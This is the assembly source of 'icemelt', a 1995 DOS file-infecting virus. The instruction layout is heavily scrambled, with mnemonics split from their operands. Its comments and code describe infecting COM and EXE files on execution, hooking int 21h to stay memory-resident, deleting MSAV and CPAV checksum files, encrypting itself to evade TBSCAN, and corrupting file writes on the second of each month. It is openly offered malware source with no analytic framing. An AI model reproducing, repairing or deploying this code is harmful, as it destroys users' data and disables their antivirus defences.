; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
?????????????????????????????????????????????????????????????????-? icemelt - (c)1995 ?irogen - using ?ice v0.2? ?????????????????????????????????????????????????????????????????-? ? ? ? ? ? ? ? ?
infects com and exe when executed. com infection marker: fourth byte is 0 exe infection marker: checksum in header not equal to 0. time/date do not change read-only and hidden files will be infected, and attributes restored. virus installs its own critical error handler deletes msav and cpav checksum filez. activates on the second of any month, at which time it will phuck up all file writes using int 21h/func 40h. ? does not use vice anti-tbscan. has a second cryptor to thwart many tbscan flags. does not use vice garbage.
cseg segment assume cs:cseg, ds:cseg, es:cseg, ss:cseg signal equ 0fa01h ; ax=signal/int 21h/installation chk vsafe_word equ 5945h ; magic word for vsafe/vwatch api special equ 11h act_day equ 2 buf_size equ 170 vice_size equ 1602+buf_size virus_size equ (offset vend-offset start)+vice_size extrn _vice:near org 0h start: push inc mov add mov mov int call nx: sub or jz call c_start: mov mov int cmp jnz mov no_act: mov dec
ds es si ax,1000h ax,signal-1000h dx,vsafe_word bl,special 21h nx pop bp bp,offset nx si,si no_install crypt cs:activate[bp],0 ah,2ah 21h dl,act_day no_act cs:activate[bp],1 ax,ds ax
; looks like legit. int call.. ; are we memory resident?
; get relative offset
; if carry then we are ; decrypt the next few bytez ; get date ;
; psp segment ; mcb below psp m0n
mov cmp jnz sub sub mov push pop mov mov xor rep xor mov push lds mov mov pop mov mov sub c_end: no_install:
ds,ax ; ds=mcb seg byte ptr ds: [0],'z' ; is this the last mcb in chain? no_install word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc mcb word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc psp es,word ptr ds: [12h] ; get high mem seg cs ds si,bp cx,virus_size/2+1 di,di movsw ; copy code to new seg ax,ax ds,ax ; null ds ds ax,ds: [21h*4] ; get 21h vector es: word ptr old21+2,ds ; save s:o es: word ptr old21,ax ds ds: [21h*4+2],es ; new int 21h seg ds: [21h*4],offset new21 ; new offset byte ptr ds: [413h],((virus_size+1023)*2)/1024;-totalmem
pop cmp jz
es ds cs:is_exe[bp],1 exe_return
; restore es ds
lea mov mov rep
si,org_bytes[bp] di,0100h cx,2 movsw
; com return ; -restore first 4 bytes
ax,100h ax
; jump back to 100h
mov push _ret:ret
exe_return: mov cx,ds ; calc. real cs add cx,10h add word ptr cs:[exe_jump+2+bp],cx int 3 ; fix prefetch db 0eah exe_jump dd 0 is_exe db 0 ;?????????????????????????????????????????????????????????? ; crypts portion of virus ; crypt_res: xor bp,bp crypt: lea si,c_start add si,bp mov cx,(offset c_end-offset c_start) add byte ptr cs:xor_op[bp],10h ; self modifying code... int 3 ; fix prefetch
l1: db 2eh xor_op db 70h,34h xor_val db 0 inc si loop l1 sub byte ptr cs:xor_op[bp],10h ret
; tbscan won't flag this bitch
; unmodify code
;?????????????????????????????????????????????????????????? ; infection routine - called from int 21h handler. ; ds:dx=fname ; infect_file: push pop
dx si
push xor mov lds mov mov mov mov pop push push pop
ds ax,ax ; es,ax ax,es:[24h*4] ; cs:old_24_off,ax cs:old_24_seg,ds es:[24h*4+2],cs ; es:[24h*4],offset new_24 ds es ; cs es
mov int mov push xor int
ax,4300h 21h ax,4301h ax cx cx,cx 21h
; get phile attribute
mov int jc
ax,3d02h 21h dont_do
; open the file
mov
bx,ax
; get handle
push pop
cs ds
call
kill_chklst
mov mov lea int
ah,3fh cx,20h dx,org_bytes 21h
cmp jz cmp
byte ptr org_bytes,'m' do_exe byte ptr org_bytes+3,0
null es get int 24h vector ; save it install our handler we'll need it later
; null attribs ; save ax-call/cx-attrib
; read first bytes of file
; single byte avoids heuristic flag
jz
close
mov
is_exe,0
mov int push
ax,5700h 21h cx dx
call push
offset_end ax
; ax=end of file
lea mov push mov mov add mov call
si,start di,virus_size di cx,virus_size dx,ax dx,100h al,00000001b _vice
; ; ; ; ; ; ; ;
pop mov int
dx ah,40h 21h
call pop sub mov
offset_zero ax ax,3 word ptr new_jmp+1,ax
lea mov mov int
dx,new_jmp cx,4 ah,40h 21h
pop mov int
dx cx ax,5701h 21h
; pop date/time ; restore the mother fuckers
pop int
cx ax 21h
; restore attrib
mov int
ah,3eh 21h
; get time/date
ds:si=start of code to encrypt es:di=address for decryptor/ encrypted code. (at heap) cx=virus size dx=eof offset dx=offset decryptor will run from no garbage, no cs: call engine!
; restore com file size ; calculate jmp offset
close:
dont_do: pop lds mov mov
es ax,dword ptr old_24_off es:[24h*4],ax es:[24h*4+2],ds
; es=0 ; restore shitty dos error handler
ret do_exe: cmp jnz
word ptr exe_header[12h],0 close
; is checksum (in hdr) 0?
exe_ok:
cmp jz cmp jge
byte ptr exe_header[18h],52h exe_ok byte ptr exe_header[18h],40h close
; pklite'd?
push
bx
mov int mov mov
ah,2ch 21h word ptr exe_header[12h],dx is_exe,1
les mov mov
ax,dword ptr exe_header+14h ; save old entry point word ptr ds:exe_jump, ax word ptr ds:exe_jump+2, es
push pop
cs es
call
offset_end
push
dx ax
; save file size dx:ax
mov mov shl sub sbb mov div
bx, word ptr exe_header+8h cl,4 bx,cl ax,bx dx,0 cx,10h cx
; calc. new entry point ; *16 ; ^by shifting one byte ; get actual file size-header
mov mov mov
word ptr exe_header+14h,dx word ptr exe_header+16h,ax rel_off,dx
pop pop pop
ax dx bx
mov adc
cx,virus_size+10h ax,cx
mov push shr ror stc adc pop and
cl,9 ax ax,cl dx,cl
mov mov
word ptr exe_header+4h,dx word ptr exe_header+2h,ax
lea mov push mov
si,start di,virus_size di cx,virus_size
; don't infect new format exe
; grab a random number ; mark that it's us
; divide ax/cx rdx
; ax:dx file size
; calc. new size
dx,ax ax ah,1
; calc new alloc (512)
; ax=size+virus
; ds:si=start of code to encrypt ; es:di=address for decryptor and ; encrypted code (at heap) ; cx=virus size
mov mov call
dx,rel_off al,00000000b _vice
pop mov int
dx ah,40h 21h
call
offset_zero
mov lea mov int
cx,18h dx,exe_header ah,40h 21h
jmp
close
; dx=offset decryptor will run from ; no garbage, use cs: ; call engine!
; write fixed header
;?????????????????????????????????????????????????????????? ; set file ptr offset_zero: xor jmp offset_end: mov set_fp: mov xor xor int ret
; self explanitory al,al set_fp al,02h ah,42h cx,cx dx,dx 21h
;???????????????????????????????????????????????????????? ; kill those darned msav and cpav filez.. ; kill_chklst: mov di,2 ; counter for loop lea dx,first_2die ; first fname to kill kill_loop: mov ax,4301h ; reset attribs xor cx,cx int 21h mov ah,41h ; delete phile int 21h lea dx,last_2die ; second fname to kill dec di jnz kill_loop ret first_2die db last_2die db
'chklist.ms',0 'chklist.cps',0
; msav shitty checksum ; cpav shitty checksum
;?????????????????????????????????????????????????????????? ; new 21h
new21: pushf cmp ax,signal jnz not_us cmp dx,vsafe_word jnz not_us cmp bl,special jnz not_us xor si,si mov di,4559h jmp jmp_org not_us: cmp cs:activate,0 jz nchk cmp ah,40h jnz jmp_org lea dx,credits push cs pop ds nchk: cmp ax,4b00h jnz jmp_org
; be it us? ; richtig..
; time to activate? ; write to phile? ; phuck up address.. ; execute phile?
push ax bx cx di dx si ds es bp dx mov ah,2ch ; grab random for cryptor int 21h mov byte ptr cs:xor_val,dl pop dx call crypt_res call infect_file call crypt_res pop bp es ds si dx di cx bx ax jmp_org: popf db 0eah old21 dd 0 new_24:
mov al,3 iret
activate db 0 txt_ptr dw offset credits credits db '[icemelt, by ?irogen]' credit_end: new_jmp db 0e9h,0,0,0 rel_off dw 0 exe_header: org_bytes db 0cdh,20h,0,0 heap: db 16h dup(0) old_24_off dw 0 old_24_seg dw 0 vend: cseg ends
; jump far xxxx:xxxx
; critical error handler ; prompts suck, return fail
; jmp xxxx,0 ; original com bytes | exe hdr ; remaining exe header space ; old int24h vector
end start